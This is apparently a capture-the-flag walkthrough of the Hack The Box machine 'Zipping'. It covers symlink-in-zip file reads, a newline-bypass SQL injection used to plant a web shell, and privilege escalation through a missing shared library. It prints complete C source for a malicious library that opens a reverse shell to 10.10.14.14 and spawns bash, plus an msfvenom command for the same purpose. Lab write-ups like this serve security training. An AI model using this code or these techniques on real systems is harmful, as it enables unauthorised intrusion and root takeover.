HTB Zipping: Walkthrough
- First, we encounter a web server hosting a file upload, that filters for
.zip
archives that must contain a.pdf
file. - We can leverage symlinks to basically perform LFI, and read the web applications source code.
- We notice a certain parameter is vulnerable to SQLi, and exploit it to gain RCE.
- Privilege escalation involves analyzing a binary locally, which loads a lib file that doesn’t exist, allowing us to create our own and escalate.
0) Machine Overview
1) Scans
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
2) Web Enumeration
Nothing really interesting as far as directory bruteforcing goes.
Lets begin looking around and manually testing the applications functionality.
Over in the /upload.php
directory, a file upload form can be found:
Seems like its only accepting zip files that contain a pdf.
I tried the following:
- Uploading a .php file.
- Uploading a .zip file containing a .php file.
But those didn’t work. However, that’s when things started to get interesting. I tried uploading a .zip file containing a .php.pdf file, which it suprisingly accepted. It returns us with an endpoint we can use to access it:
Now if we access it, we get an error:
Now this exploit isn’t exactly that, but its similar. Basically, we can set a symbolic link to a file like /etc/passwd
and then once our .pdf
is retrieved/accessed, it will actually retrieve /etc/passwd
.
Then once we upload our file and access it:
I tried checking if there was an id_rsa
anywhere, but unfortunately there wasn’t.
In the meanwhile, we can basically read/download all the source code of the website. In specific, there is an interesting file called cart.php
:
Its basically telling us its vulnerable to SQLi through those pretty funny comments.
We’ll first use this payload just to make sure that our SQLi works: (Note: the 1 at the end is needed, i’m assuming because once the SQL statement ends with our semicolon, the query is still expecting a number at the end based on the actual functionality of the pgrep_match function that was implemented.)
Now this payload looks a little confusing at first, but if we look back at the code, it says its filtering from basically all special characters using pgrep_match()
.
So if we check out this HackTricks article, it shows there’s a way to bypass it by using %0a
to basically send the rest of the payload after that character, on a new line. We have to make sure we end with a number, due to the regex that’s being used.
From that point, its just testing certain payloads until we get a 302 response.
The reason we have to make it so complicated and have it write out to file is because its an Out-Of-Band
SQLi. We cant see the results directly listed to us, so we need a way to store it and retrieve it. So for example, in this PayloadsAllTheThings
note, we can see that it recommends we use that exact payload:
The only thing that we need to worry about is where we actually want to store the file, and optimally we’d want to be able to retrieve it/access it. So you could try placing it somewhere in the web-root, but if privileges aren’t sufficient for that, we can try placing it somewhere like /var/lib/mysql/
.
Now then, lets see if we can try writing a web-shell payload into a file, then accessing it on the web-server: (Just keep in mind, stuff like this requires lots of tampering, especially when it comes to special characters.)
Assuming we got the status code response we wanted, we can try executing it now: (Another note, for some reason we have to remove the file extension, or else it doesn’t work.)
If all goes well, we should receive a request to our python web-server, and then a reverse shell right after.
From there, we can just ssh-keygen -t rsa -b 4096
, and then login via SSH.
3) Privilege Escalation
If we run this binary, it just asks us for a password, without much in return. I tried putting a bunch of A’s in the chances it could be overflowed, but it wasn’t. Also, since the binary is owned by root, we can’t even take it offline to analyze it, so we’ll have to use whats available to us.
objdump -x stock
ldd stock
hexdump -C stock
Turns out that ASCII on the right, St0ckM4nager
, was actually the password to the binary:
strings
gives us a better understanding though:
Now that we have the password, when we run strace /usr/bin/stock
, and provide the password, it gives us some more output:
If we pay close attention, we can see its trying to load a libcounter.so
file from our users home directory, but that file doesn’t exist.
(Nice article for compiling syntax and overall shared library misconfigurations)
(NOTE: A great tip I learnt here is that, in certain situations, you may need to have your function execute before anything else, as that may prevent it from running properly/at all. For example, in this scenario our primary executable/binary stock
is going to be the one calling for this library, and no matter what I did, it never executed my function for some reason, even though its supposed to called my library. So what we had to do was add static int main() __attribute__((constructor));
, and that basically told the binary that, the second you get executed, execute me as well.)
Lets make our own libcounter.so
file now, containing a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
static int main() __attribute__((constructor));
int main(void){
int port = 1234;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.14");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
Then compile it:
Then finally execute the binary with sudo
.
Pwned.
Post-Machine Notes In the context of the SQLi, the way you were meant to know that you can write files to the filesystem, was if you analyzed the /var/www/html/functions.php file from the zip file symlink vulnerability, we’d notice that the DB is running as the root db user, which as that user, gives us the ability to write to the file system, usually a good bet is placing it in /dev/shm
or /var/lib/mysql
.
Also, you could also have performed a UNION SQLi as well, its not an OOB SQLi like I thought it was, albeit there wasn’t much to retrieve from the DB.
Another great tip is, when we want to directly include a reverse shell to get executed, and want to know for sure that the payload is working without being screwed up by URL encoding. we can make sure there are no +
or =
, we can do that by adding extra spaces in between the characters like IppSec does here: (and don’t forget to try running it against yourself first as well)
To test it on ourselves:
We could have used msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf.so -o libcounter.so
as that would’ve saved me the hassle of trying to get a properly working malicious libcounter.so
, since I had to find out about__attribute__((constructor))